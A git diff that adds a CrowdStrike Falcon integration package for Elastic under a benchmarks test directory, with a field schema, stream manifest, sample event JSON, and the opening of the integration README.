+  external: ecs
+- name: source.geo.region_name
+  external: ecs
+- name: destination.as.number
+  external: ecs
+- name: destination.as.organization.name
+  external: ecs
+- name: destination.geo.city_name
+  external: ecs
+- name: destination.geo.continent_name
+  external: ecs
+- name: destination.geo.country_iso_code
+  external: ecs
+- name: destination.geo.country_name
+  external: ecs
+- name: destination.geo.location
+  external: ecs
+- name: destination.geo.region_iso_code
+  external: ecs
+- name: destination.geo.region_name
+  external: ecs
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/fields.yml
new file mode 100644
index 0000000000..d5f9003cb8
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/fields.yml
@@ -0,0 +1,929 @@
+- name: crowdstrike.metadata
+  title: Metadata fields
+  type: group
+  fields:
+    - name: eventType
+      type: keyword
+      description: |
+        DetectionSummaryEvent, FirewallMatchEvent, IncidentSummaryEvent, RemoteResponseSessionStartEvent, RemoteResponseSessionEndEvent, AuthActivityAuditEvent, or UserActivityAuditEvent
+    - name: offset
+      type: integer
+      description: |
+        Offset number that tracks the location of the event in stream. This is used to identify unique detection events.
+    - name: customerIDString
+      type: keyword
+      description: |
+        Customer identifier
+    - name: version
+      type: keyword
+      description: |
+        Schema version
+- name: crowdstrike.event
+  title: Event fields
+  type: group
+  fields:
+    - name: AccountId
+      type: keyword
+    - name: AgentId
+      type: keyword
+    - name: AgentIdString
+      type: keyword
+    - name: AggregateId
+      type: keyword
+    - name: AuditKeyValues
+      type: group
+      fields:
+        - name: Key
+          type: keyword
+        - name: ValueString
+          type: keyword
+    - name: CloudPlatform
+      type: keyword
+    - name: CloudProvider
+      type: keyword
+    - name: CloudService
+      type: keyword
+    - name: IncidentType
+      type: keyword
+      description: |
+        Incident Type
+    - name: CompositeId
+      type: keyword
+      description: Global unique identifier that identifies a unique alert.
+    - name: ComputerName
+      type: keyword
+      description: |
+        Name of the computer where the detection occurred.
+    - name: Description
+      type: keyword
+    - name: DetectName
+      type: keyword
+      description: |
+        Name of the detection.
+    - name: DataDomains
+      type: keyword
+      description: |
+        Data domains of the event that was the primary indicator or created it.
+    - name: ExecutionID
+      type: keyword
+    - name: ExecutionMetadata
+      type: group
+      fields:
+        - name: ExecutionDuration
+          type: long
+        - name: ExecutionStart
+          type: date
+        - name: ReportFileName
+          type: keyword
+        - name: ResultCount
+          type: long
+        - name: ResultID
+          type: keyword
+        - name: SearchWindowEnd
+          type: date
+        - name: SearchWindowStart
+          type: date
+    - name: ExecutablesWritten
+      type: group
+      fields:
+        - name: FileName
+          type: keyword
+        - name: FilePath
+          type: keyword
+        - name: Timestamp
+          type: keyword
+    - name: FalconHostLink
+      type: keyword
+    - name: FileName
+      type: keyword
+    - name: FilePath
+      type: keyword
+    - name: FilesAccessed
+      type: group
+      fields:
+        - name: FileName
+          type: keyword
+        - name: FilePath
+          type: keyword
+        - name: Timestamp
+          type: date
+    - name: FilesWritten
+      type: group
+      fields:
+        - name: FileName
+          type: keyword
+        - name: FilePath
+          type: keyword
+        - name: Timestamp
+          type: date
+    - name: GrandparentImageFilePath
+      type: keyword
+    - name: GrandParentCommandLine
+      type: keyword
+    - name: GrandParentImageFileName
+      type: keyword
+    - name: GrandParentImageFilePath
+      type: keyword
+    - name: Hostname
+      type: keyword
+    - name: LocalIPv6
+      type: ip
+    - name: IOARuleGroupName
+      type: keyword
+    - name: IOARuleInstanceID
+      type: keyword
+    - name: LogonDomain
+      type: keyword
+    - name: MobileAppsDetails
+      type: group
+      fields:
+        - name: AndroidAppLabel
+          type: keyword
+        - name: AndroidAppVersionName
+          type: keyword
+        - name: AppIdentifier
+          type: keyword
+        - name: AppInstallerInformation
+          type: keyword
+        - name: DexFileHashes
+          type: keyword
+        - name: ImageFileName
+          type: keyword
+        - name: IsBeingDebugged
+          type: keyword
+        - name: IsContainerized
+          type: keyword
+    - name: Name
+      type: keyword
+    - name: NetworkAccesses
+      type: group
+      fields:
+        - name: AccessTimestamp
+          type: keyword
+        - name: AccessType
+          type: keyword
+        - name: ConnectionDirection
+          type: keyword
+        - name: IsIPV6
+          type: keyword
+        - name: LocalAddress
+          type: keyword
+        - name: LocalPort
+          type: keyword
+        - name: Protocol
+          type: keyword
+        - name: RemoteAddress
+          type: keyword
+        - name: RemotePort
+          type: keyword
+    - name: PatternDispositionDescription
+      type: keyword
+    - name: ParentImageFilePath
+      type: keyword
+    - name: ParentProcessId
+      type: long
+    - name: PlatformId
+      type: keyword
+    - name: PlatformName
+      type: keyword
+    - name: ProcessId
+      type: long
+    - name: ReferrerUrl
+      type: keyword
+    - name: Region
+      type: keyword
+    - name: ReportFileReference
+      type: keyword
+    - name: ReportID
+      type: keyword
+    - name: ReportName
+      type: keyword
+    - name: ReportType
+      type: keyword
+    - name: StatusMessage
+      type: keyword
+    - name: Type
+      type: keyword
+      description: 'The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection).'
+    - name: UserName
+      type: keyword
+    - name: UserUUID
+      type: keyword
+    - name: ActivityId
+      type: keyword
+      description: |
+        ID of the activity that triggered the detection.
+    - name: PolicyId
+      type: long
+      description: |
+        The ID of the associated Policy.
+    - name: AddedPrivilege
+      type: keyword
+      description: |
+        The difference between their current and previous list of privileges.
+    - name: AdditionalAccountObjectGuid
+      type: keyword
+      description: |
+        Additional involved user object GUID.
+    - name: AdditionalAccountObjectSid
+      type: keyword
+      description: |
+        Additional involved user object SID.
+    - name: AdditionalAccountUpn
+      type: keyword
+      description: |
+        Additional involved user UPN.
+    - name: SourceAccountUpn
+      type: keyword
+      description: |
+        Source user UPN.
+    - name: AdditionalActivityId
+      type: keyword
+      description: |
+        ID of an additional activity related to the detection.
+    - name: AdditionalEndpointAccountObjectGuid
+      type: keyword
+      description: |
+        Additional involved endpoint object GUID.
+    - name: SourceEndpointAccountObjectGuid
+      type: keyword
+      description: |
+        Source endpoint object GUID
+    - name: AdditionalEndpointAccountObjectSid
+      type: keyword
+      description: |
+        Additional involved endpoint object SID.
+    - name: SourceEndpointAccountObjectSid
+      type: keyword
+      description: |
+        Source endpoint object SID.
+    - name: AdditionalEndpointSensorId
+      type: keyword
+      description: |
+        Additional involved endpoint agent ID.
+    - name: SourceEndpointIpReputation
+      type: keyword
+      description: |
+        Source endpoint IP reputation.
+    - name: SourceEndpointSensorId
+      type: keyword
+      description: |
+        Source endpoint agent ID.
+    - name: AdditionalLocationCountryCode
+      type: keyword
+      description: |
+        Additional involved country code.
+    - name: AdditionalSsoApplicationIdentifier
+      type: keyword
+      description: |
+        Additional application identifier.
+    - name: SsoApplicationIdentifier
+      type: keyword
+      description: |
+        Destination application identifier.
+    - name: SuspiciousMachineAccountAlterationType
+      type: keyword
+      description: |
+        Machine alteration type.
+    - name: AnomalousTicketContentClassification
+      type: keyword
+      description: |
+        Ticket signature analysis.
+    - name: CertificateTemplateName
+      type: keyword
+      description: |
+        Name of the certificate template.
+    - name: CertificateTemplateIdentifier
+      type: keyword
+      description: |
+        The ID of the certificate template.
+    - name: AccountCreationTimeStamp
+      type: date
+      description: |
+        The timestamp of when the source account was created in Active Directory.
+    - name: XdrType
+      type: keyword
+      description: |
+        Type of detection: xdr or xdr-scheduled-search.
+    - name: IdpPolicyRuleAction
+      type: keyword
+      description: |
+        Identity Protection policy rule action.
+    - name: IdpPolicyRuleName
+      type: keyword
+      description: |
+        Identity Protection policy rule name.
+    - name: IdpPolicyRuleTrigger
+      type: keyword
+      description: |
+        Identity Protection policy rule trigger.
+    - name: LdapSearchQueryAttack
+      type: keyword
+      description: |
+        Detected LDAP tool attack.
+    - name: Severity
+      type: integer
+      description: |
+        The integer severity level using Crowdstrike scaling.
+    - name: SeverityName
+      type: keyword
+      description: |
+        The severity level of the detection, as a string (High/Medium/Informational).
+    - name: NotificationId
+      type: keyword
+      description: |
+        ID of the generated notification.
+    - name: Highlights
+      type: text
+      description: |
+        Sections of content that matched the monitoring rule.
+    - name: ItemPostedTimestamp
+      type: date
+      description: |
+        Time the raw intelligence was posted.
+    - name: MostRecentActivityTimeStamp
+      type: date
+      description: |
+        The timestamp of the latest activity performed by the account.
+    - name: PrecedingActivityTimeStamp
+      type: date
+      description: |
+        The timestamp of the activity before the most recent activity was performed.
+    - name: SourceProducts
+      type: keyword
+      description: |
+        Names of the products from which the source data originated.
+    - name: SourceVendors
+      type: keyword
+      description: |
+        Names of the vendors from which the source data originated.
+    - name: EmailAddresses
+      type: keyword
+      description: |
+        Summary list of all associated entity email addresses.
+    - name: SHA1String
+      type: keyword
+      description: |
+        SHA1 sum of the executable associated with the detection.
+    - name: SHA256String
+      type: keyword
+      description: |
+        SHA256 sum of the executable associated with the detection.
+    - name: MD5String
+      type: keyword
+      description: |
+        MD5 sum of the executable associated with the detection.
+    - name: MachineDomain
+      type: keyword
+      description: |
+        Domain for the machine associated with the detection.
+    - name: HostGroups
+      type: keyword
+      description: |
+        Array of related Host Group IDs.
+    - name: SensorId
+      type: keyword
+      description: |
+        Unique ID associated with the Falcon sensor.
+    - name: TargetAccountDomain
+      type: keyword
+      description: |
+        Target user domain.
+    - name: TargetAccountName
+      type: keyword
+      description: |
+        Target user name.
+    - name: TargetAccountObjectSid
+      type: keyword
+      description: |
+        Target user object SID.
+    - name: TargetAccountUpn
+      type: keyword
+      description: |
+        Target user UPN.
+    - name: TargetEndpointAccountObjectGuid
+      type: keyword
+      description: |
+        Target endpoint object GUID.
+    - name: TargetEndpointAccountObjectSid
+      type: keyword
+      description: |
+        Target endpoint object SID.
+    - name: TargetEndpointHostName
+      type: keyword
+      description: |
+        Target endpoint hostname.
+    - name: TargetEndpointSensorId
+      type: keyword
+      description: |
+        Target endpoint agent ID.
+    - name: TargetServiceAccessIdentifier
+      type: keyword
+      description: |
+        Target SPN.
+    - name: DetectId
+      type: keyword
+      description: |
+        Unique ID associated with the detection.
+    - name: LocalIP
+      type: keyword
+      description: |
+        IP address of the host associated with the detection.
+    - name: MACAddress
+      type: keyword
+      description: |
+        MAC address of the host associated with the detection.
+    - name: Objective
+      type: keyword
+      description: |
+        Method of detection.
+    - name: PreviousPrivileges
+      type: keyword
+      description: |
+        A list of the source account's privileges before privilege changes were made.
+    - name: ProtocolAnomalyClassification
+      type: keyword
+      description: |
+        Authentication signature analysis.
+    - name: RpcOpClassification
+      type: keyword
+      description: |
+        RPC operation type.
+    - name: PatternDispositionValue
+      type: integer
+      description: |
+        Unique ID associated with action taken.
+    - name: PatternDispositionFlags
+      type: group
+      description: |
+        Flags indicating actions taken.
+      fields:
+        - name: ContainmentFileSystem
+          type: boolean
+        - name: Detect
+          type: boolean
+        - name: InddetMask
+          type: boolean
+        - name: Indicator
+          type: boolean
+        - name: KillParent
+          type: boolean
+        - name: KillProcess
+          type: boolean
+        - name: KillSubProcess
+          type: boolean
+        - name: OperationBlocked
+          type: boolean
+        - name: PolicyDisabled
+          type: boolean
+        - name: ProcessBlocked
+          type: boolean
+        - name: QuarantineFile
+          type: boolean
+        - name: QuarantineMachine
+          type: boolean
+        - name: Rooting
+          type: boolean
+        - name: SensorOnly
+          type: boolean
+        - name: BootupSafeguardEnabled
+          type: boolean
+        - name: CriticalProcessDisabled
+          type: boolean
+        - name: FsOperationBlocked
+          type: boolean
+        - name: RegistryOperationBlocked
+          type: boolean
+        - name: BlockingUnsupportedOrDisabled
+          type: boolean
+        - name: HandleOperationDowngraded
+          type: boolean
+        - name: KillActionFailed
+          type: boolean
+        - name: SuspendParent
+          type: boolean
+        - name: SuspendProcess
+          type: boolean
+    - name: AssociatedFile
+      type: keyword
+      description: |
+        The file associated with the triggering indicator.
+    - name: PatternId
+      type: keyword
+      description: |
+        The numerical ID of the pattern associated with the action taken on the detection.
+    - name: Finding
+      type: keyword
+      description: |
+        The details of the finding.
+    - name: FineScore
+      type: float
+      description: |
+        The highest incident score reached as of the time the event was sent.
+    - name: UserId
+      type: keyword
+      description: |
+        Email address or user ID associated with the event.
+    - name: OperationName
+      type: keyword
+      description: |
+        Event subtype.
+    - name: RulePriority
+      type: keyword
+      description: |
+        Priority of the monitoring rule that found the match.
+    - name: ItemType
+      type: keyword
+      description: |
+        Type of raw intelligence.
+    - name: OARuleInstanceID
+      type: keyword
+      description: |
+        Numerical ID of the custom IOA rule under a given CID.
+    - name: ResourceUrl
+      type: keyword
+      description: |
+        The URL to the cloud resource.
+    - name: Tags
+      type: nested
+      description: |
+        Tags on the cloud resources if any.
+    - name: IOARuleInstanceVersion
+      type: long
+      description: |
+        Version number of the InstanceID that triggered.
+    - name: ResourceAttributes
+      type: flattened
+      description: |
+        A JSON blob with all resource attributes.
+    - name: ResourceId
+      type: keyword
+      description: |
+        The cloud resource identifier.
+    - name: ResourceIdType
+      type: keyword
+      description: |
+        The type of the detected resource identifier.
+    - name: ResourceName
+      type: keyword
+      description: |
+        Resource name if any.
+    - name: IOARuleName
+      type: keyword
+      description: |
+        Name given to the custom IOA rule that triggered.
+    - name: SELinuxEnforcementPolicy
+      type: keyword
+      description: |
+        State of SELinux enforcement policy on an Android device.
+    - name: SafetyNetErrors
+      type: keyword
+      description: |
+        Describes a SafetyNet error
+    - name: SafetyNetCTSProfileMatch
+      type: keyword
+      description: |
+        The result of a stricter verdict for device integrity.
+    - name: SafetyNetBasicIntegrity
+      type: keyword
+      description: |
+        The result of a more lenient verdict for device integrity.
+    - name: SafetyNetEvaluationType
+      type: keyword
+      description: |
+        Provides information about the type of measurements used to compute fields likeCTSProfileMatch and BasicIntegrity.
+    - name: SafetyNetErrorMessage
+      type: keyword
+      description: |
+        An encoded error message.
+    - name: SafetyNetAdvice
+      type: keyword
+      description: |
+        Provides information to help explain why the Google SafetyNet Attestation API set eitherCTSProfileMatch or BasicIntegrity fields to false.
+    - name: KeyStoreErrors
+      type: keyword
+      description: |
+        Describes a KeyStore error.
+    - name: VerifiedBootState
+      type: keyword
+      description: |
+        Provides the device’s current boot state.
+    - name: MobileAppsDetails
+      type: nested
+      description: |
+        Provides one or more JSON objects describing the related mobile applications.
+    - name: MobileNetworkConnections
+      type: nested
+      description: |
+        Provides one or more JSON objects describing the related network connections from the mobile device.
+    - name: MobileDnsRequests
+      type: nested
+      description: |
+        Provides one or more JSON objects describing the related DNS requests from the mobile device.
+    - name: MountedVolumes
+      type: nested
+      description: |
+        Provides one or more JSON objects describing mounted volumes on the mobile device.
+    - name: Trampolines
+      type: nested
+      description: |
+        Provides one or more JSON objects describing the relevant functions and processes performing inline API hooks.
+    - name: LoadedObjects
+      type: nested
+      description: |
+        Provides one or more JSON objects describing the loaded objects related to the detection.
+    - name: ObjectiveCRuntimesAltered
+      type: nested
+      description: |
+        Provides one or more JSON objects describing the obj-c methods related to the malware.
+    - name: RootAccessIndicators
+      type: nested
+      description: |
+        Provides one or more JSON objects which includes logs and stack traces from the suspicious source.
+    - name: Certificates
+      type: nested
+      description: |
+        Provides one or more JSON objects which includes related SSL/TLS Certificates.
+    - name: EnvironmentVariables
+      type: nested
+      description: |
+        Provides one or more JSON objects which includes related environment variables.
+    - name: SystemProperties
+      type: nested
+      description: |
+        Provides one or more JSON objects which includes related system properties.
+    - name: Success
+      type: boolean
+      description: |
+        Indicator of whether or not this event was successful.
+    - name: AuditKeyValues
+      type: nested
+      description: |
+        Fields that were changed in this event.
+    - name: LMHostIDs
+      type: keyword
+      normalize:
+        - array
+      description: |
+        Array of host IDs seen to have experienced lateral movement because of the incident.
+    - name: NetworkAccesses
+      type: nested
+      description: |
+        Detected Network traffic done by a process.
+    - name: ScanResults
+      type: nested
+      description: |
+        Array of scan results.
+    - name: DnsRequests
+      type: nested
+      description: |
+        Detected DNS requests done by a process.
+    - name: DocumentsAccessed
+      type: nested
+      description: |
+        Detected documents accessed by a process.
+    - name: ExecutablesWritten
+      type: nested
+      description: |
+        Detected executables written to disk by a process.
+    - name: Attributes
+      type: flattened
+      description: |
+        JSON objects containing additional information about the event.
+    - name: SessionId
+      type: keyword
+      description: |
+        Session ID of the remote response session.
+    - name: LateralMovement
+      type: long
+      description: |
+        Lateral movement field for incident.
+    - name: GrandparentImageFileName
+      type: keyword
+      description: |
+        Path to the grandparent process.
+    - name: GrandparentCommandLine
+      type: keyword
+      description: |
+        Grandparent process command line arguments.
+    - name: IOCType
+      type: keyword
+      description: |
+        CrowdStrike type for indicator of compromise.
+    - name: IOCValue
+      type: keyword
+      description: |
+        CrowdStrike value for indicator of compromise.
+    - name: Category
+      type: keyword
+      description: |
+        IDP incident category.
+    - name: NumbersOfAlerts
+      type: long
+      description: |
+        Number of alerts in the identity-based incident.
+    - name: NumberOfCompromisedEntities
+      type: long
+      description: |
+        Number of compromised entities, users and endpoints.
+    - name: ServiceName
+      type: keyword
+      description: |
+        Description of which related service was involved in the event.
+    - name: State
+      type: keyword
+      description: |
+        Identity-based detection or incident status.
+    - name: ParentImageFileName
+      type: keyword
+      description: |
+        The parent image file name involved.
+    - name: CustomerId
+      type: keyword
+      description: |
+        Customer identifier.
+    - name: DeviceId
+      type: keyword
+      description: |
+        Device on which the event occurred.
+    - name: Ipv
+      type: keyword
+      description: |
+        Protocol for network request.
+    - name: EventType
+      type: keyword
+      description: |
+        CrowdStrike provided event type.
+    - name: ICMPCode
+      type: keyword
+      description: |
+        RFC2780 ICMP Code field.
+    - name: ICMPType
+      type: keyword
+      description: |
+        RFC2780 ICMP Type field.
+    - name: RuleAction
+      type: keyword
+      description: |
+        Firewall rule action.
+    - name: MatchCount
+      type: long
+      description: |
+        Number of firewall rule matches.
+    - name: MatchCountSinceLastReport
+      type: long
+      description: |
+        Number of firewall rule matches since the last report.
+    - name: Timestamp
+      type: date
+      description: |
+        Firewall rule triggered timestamp.
+    - name: Flags.Audit
+      type: boolean
+      description: |
+        CrowdStrike audit flag.
+    - name: Flags.Log
+      type: boolean
+      description: |
+        CrowdStrike log flag.
+    - name: Flags.Monitor
+      type: boolean
+      description: |
+        CrowdStrike monitor flag.
+    - name: Protocol
+      type: keyword
+      description: |
+        CrowdStrike provided protocol.
+    - name: ScheduledSearchId
+      type: keyword
+      description: |
+        Unique identifier of the associated scheduled search.
+    - name: ScheduledSearchUserUUID
+      type: keyword
+      description: |
+        UUID of the user that created the the associated scheduled search.
+    - name: ScheduledSearchUserId
+      type: keyword
+      description: |
+        User ID of the user that created the the associated scheduled search.
+    - name: ScheduledSearchExecutionId
+      type: keyword
+      description: |
+        ID of the specific search execution.
+    - name: NetworkProfile
+      type: keyword
+      description: |
+        CrowdStrike network profile.
+    - name: PolicyName
+      type: keyword
+      description: |
+        CrowdStrike policy name.
+    - name: PolicyID
+      type: keyword
+      description: |
+        CrowdStrike policy id.
+    - name: Status
+      type: keyword
+      description: |
+        CrowdStrike status.
+    - name: TreeID
+      type: keyword
+      description: |
+        CrowdStrike tree id.
+    - name: Commands
+      type: keyword
+      description: |
+        Commands run in a remote session.
+    - name: AnodeIndicators
+      type: nested
+    - name: ContentPatterns
+      type: group
+      fields:
+        - name: ID
+          type: keyword
+        - name: Name
+          type: keyword
+        - name: ConfidenceLevel
+          type: long
+        - name: MatchCount
+          type: long
+    - name: Destination
+      type: nested
+    - name: Destination.Channel
+      type: keyword
+    - name: EventTimestamp
+      type: date
+    - name: FileType.Type
+      type: group
+      fields:
+        - name: CategoryID
+          type: keyword
+        - name: CategoryName
+          type: keyword
+        - name: Description
+          type: keyword
+        - name: ID
+          type: keyword
+        - name: Name
+          type: keyword
+    - name: FilesEgressedCount
+      type: long
+    - name: FileCategoryCounts
+      type: nested
+    - name: ContentPatternCounts
+      type: nested
+    - name: DetectionType
+      type: keyword
+    - name: EgressEventId
+      type: keyword
+    - name: EgressSessionId
+      type: keyword
+    - name: IsClipboard
+      type: boolean
+    - name: MatchedClassification
+      type: group
+      fields:
+        - name: ID
+          type: keyword
+        - name: Name
+          type: keyword
+    - name: OriginWebLocations
+      type: flattened
+    - name: RelatedClassifications
+      type: group
+      fields:
+        - name: ID
+          type: keyword
+        - name: Name
+          type: keyword
+    - name: ResponseAction
+      type: keyword
+    - name: RuleId
+      type: keyword
+    - name: UserNotified
+      type: boolean
+    - name: UserTitle
+      type: keyword
+    - name: UserDepartment
+      type: keyword
+    - name: UserMapped
+      type: boolean
+    - name: IPv4
+      type: ip
+    - name: IPv6
+      type: ip
+    - name: DomainName
+      type: keyword
+    - name: MitreAttack
+      type: group
+      fields:
+        - name: Tactic
+          type: keyword
+        - name: TacticID
+          type: keyword
+        - name: Technique
+          type: keyword
+        - name: TechniqueID
+          type: keyword
+        - name: PatternID
+          type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/manifest.yml
new file mode 100644
index 0000000000..3c81d91757
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/manifest.yml
@@ -0,0 +1,111 @@
+type: logs
+title: CrowdStrike Falcon events
+streams:
+  - input: logfile
+    enabled: false
+    vars:
+      - name: paths
+        type: text
+        title: Paths
+        description: Location of the files where event outputs are written. The contents of these files should be in a valid JSON format.
+        multi: true
+        required: true
+        show_user: true
+        default:
+          - /var/log/crowdstrike/falconhoseclient/output*
+      - name: tags
+        type: text
+        title: Tags
+        multi: true
+        required: true
+        show_user: false
+        default:
+          - forwarded
+          - crowdstrike-falcon
+      - name: preserve_original_event
+        required: true
+        show_user: true
+        title: Preserve original event
+        description: Preserves a raw copy of the original event, added to the field `event.original`
+        type: bool
+        multi: false
+        default: false
+      - name: processors
+        type: yaml
+        title: Processors
+        multi: false
+        required: false
+        show_user: false
+        description: >
+          Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
+
+    template_path: log.yml.hbs
+    title: Falcon events
+    description: Collect CrowdStrike Falcon events through Falcon SIEM Connector.
+  - input: streaming
+    template_path: streaming.yml.hbs
+    title: Falcon events
+    description: Collect CrowdStrike Falcon events using Event Streams API.
+    enabled: false
+    vars:
+      - name: url
+        type: text
+        title: URL
+        description: Base URL of the CrowdStrike API. Defaults to https://api.crowdstrike.com.
+        default: https://api.crowdstrike.com
+        required: true
+        show_user: true
+      - name: token_url
+        type: text
+        title: Token URL
+        description: CrowdStrike API token URL.
+        default: https://api.crowdstrike.com/oauth2/token
+        required: true
+        show_user: false
+      - name: client_id
+        type: text
+        title: Client ID
+        description: Client ID for the CrowdStrike API.
+        multi: false
+        required: true
+        show_user: true
+      - name: client_secret
+        type: password
+        title: Client Secret
+        description: Client Secret for the CrowdStrike API.
+        multi: false
+        required: true
+        show_user: true
+        secret: true
+      - name: app_id
+        type: text
+        title: App ID
+        description: This field specifies the `appId` parameter sent to the CrowdStrike API. See the CrowdStrike documentation for details.
+        multi: false
+        required: true
+        show_user: true
+      - name: tags
+        type: text
+        title: Tags
+        multi: true
+        required: true
+        show_user: false
+        default:
+          - forwarded
+          - crowdstrike-falcon
+      - name: preserve_original_event
+        required: true
+        show_user: true
+        title: Preserve original event
+        description: Preserves a raw copy of the original event, added to the field `event.original`.
+        type: bool
+        multi: false
+        default: false
+      - name: processors
+        type: yaml
+        title: Processors
+        multi: false
+        required: false
+        show_user: false
+        description: >
+          Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/sample_event.json
new file mode 100644
index 0000000000..5954308e94
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/sample_event.json
@@ -0,0 +1,84 @@
+{
+    "@timestamp": "2023-11-02T13:41:34.000Z",
+    "agent": {
+        "ephemeral_id": "8f4a039c-66d4-439c-a43f-c5a95f653dd4",
+        "id": "67072e92-576d-47d8-8a43-ebb347b4250b",
+        "name": "elastic-agent-93422",
+        "type": "filebeat",
+        "version": "8.18.1"
+    },
+    "crowdstrike": {
+        "event": {
+            "AgentIdString": "fffffffff33333",
+            "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a"
+        },
+        "metadata": {
+            "customerIDString": "abcabcabc22221",
+            "eventType": "RemoteResponseSessionStartEvent",
+            "offset": 1,
+            "version": "1.0"
+        }
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.falcon",
+        "namespace": "99576",
+        "type": "logs"
+    },
+    "ecs": {
+        "version": "8.17.0"
+    },
+    "elastic_agent": {
+        "id": "67072e92-576d-47d8-8a43-ebb347b4250b",
+        "snapshot": false,
+        "version": "8.18.1"
+    },
+    "event": {
+        "action": [
+            "remote_response_session_start_event"
+        ],
+        "agent_id_status": "verified",
+        "category": [
+            "network",
+            "session"
+        ],
+        "created": "2023-11-02T13:41:34.000Z",
+        "dataset": "crowdstrike.falcon",
+        "ingested": "2025-05-30T08:29:21Z",
+        "kind": "event",
+        "original": "{\"event\":{\"AgentIdString\":\"fffffffff33333\",\"HostnameField\":\"UKCHUDL00206\",\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"StartTimestamp\":1698932494,\"UserName\":\"admin.rose@example.com\"},\"metadata\":{\"customerIDString\":\"abcabcabc22221\",\"eventCreationTime\":1698932494000,\"eventType\":\"RemoteResponseSessionStartEvent\",\"offset\":1,\"version\":\"1.0\"}}",
+        "start": "2023-11-02T13:41:34.000Z",
+        "type": [
+            "start"
+        ]
+    },
+    "host": {
+        "name": "UKCHUDL00206"
+    },
+    "input": {
+        "type": "streaming"
+    },
+    "message": "Remote response session started.",
+    "observer": {
+        "product": "Falcon",
+        "vendor": "Crowdstrike"
+    },
+    "related": {
+        "hosts": [
+            "UKCHUDL00206"
+        ],
+        "user": [
+            "admin.rose",
+            "admin.rose@example.com"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "forwarded",
+        "crowdstrike-falcon"
+    ],
+    "user": {
+        "domain": "example.com",
+        "email": "admin.rose@example.com",
+        "name": "admin.rose"
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
new file mode 100644
index 0000000000..b550fbe5c5
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
@@ -0,0 +1,3601 @@
+# CrowdStrike Integration
+
+## Overview
+
+The [CrowdStrike](https://www.crowdstrike.com/) integration allows you to efficiently connect your CrowdStrike Falcon platform to Elastic for seamless onboarding of alerts and telemetry from CrowdStrike Falcon and Falcon Data Replicator. Elastic Security can leverage this data for security analytics including correlation, visualization, and incident response.
+
+For a demo, refer to the following video (click to view).
+
+[![CrowdStrike integration video](https://play.vidyard.com/VKKWSpg4sDEk1DBXATkyEP.jpg)](https://videos.elastic.co/watch/VKKWSpg4sDEk1DBXATkyEP)
+
+### Compatibility
+
+This integration is compatible with CrowdStrike Falcon SIEM Connector v2.0, REST API, and CrowdStrike Event Streams API.
+
+### How it works
+
+The integration collects data from multiple sources within CrowdStrike Falcon and ingests it into Elasticsearch for security analysis and visualization:
+
+![CrowdStrike Integration Flowchart](../img/crowdstrike-elastic-data-flow.drawio.svg)
+
+1. **CrowdStrike Event Streams** — Real-time security events (auth, CSPM, firewall, user activity, XDR, detections). You can collect this data in two ways:
+    - **Falcon SIEM Connector** — A pre-built integration that connects CrowdStrike Falcon with your SIEM. The connector collects event stream data and writes it to files; this integration reads from the connector's output path (the `output_path` in `cs.falconhoseclient.cfg`).
+    - **Event Streams API** — Continuously streams security logs from CrowdStrike Falcon for proactive monitoring and threat detection.
+
+    Data from either method is indexed into the `falcon` dataset in Elasticsearch.
+
+2. **CrowdStrike REST API** — The integration uses the REST API to pull alerts, host inventory, and vulnerability data (indexed into the `alert`, `host`, and `vulnerability` datasets).
+
+    :::{note}
+    GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint.
+    :::
+
+3. **Falcon Data Replicator (FDR)** — Batch data from your endpoints, cloud workloads, and identities using the Falcon platform's lightweight agent. Data is written to CrowdStrike-managed S3; this integration consumes it using SQS notifications (or from your own S3 bucket if you use the FDR tool to replicate). Logs are indexed into the `fdr` dataset in Elasticsearch.
+
+## What data does this integration collect?
+
+- **Event Streams** (falcon dataset)
+- **FDR** (fdr dataset)
+- **Alerts** (alert dataset)
+- **Hosts** (host dataset)
+- **Vulnerability** (vulnerability dataset)
+
+## What do I need to use this integration?
+
+This section describes the requirements and configuration details for each supported data source.
+
+### Collect data using CrowdStrike Falcon SIEM Connector
+
+To collect data using the Falcon SIEM Connector, you need the file path where the connector stores event data received from the Event Streams.
+This is the same as the `output_path` setting in the `cs.falconhoseclient.cfg` configuration file.
+
+The integration supports only JSON output format from the Falcon SIEM Connector. Other formats such as Syslog and CEF are not supported.
+
+Additionally, this integration collects logs only through the file system. Ingestion using a Syslog server is not supported.
+
+:::{note}
+The log files are written to multiple rotated output files based on the `output_path` setting in the `cs.falconhoseclient.cfg` file. The default output location for the Falcon SIEM Connector is `/var/log/crowdstrike/falconhoseclient/output`.
+By default, files named `output*` in `/var/log/crowdstrike/falconhoseclient` directory contain valid JSON event data and should be used as the source for ingestion.
+
+Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration.
+:::
+
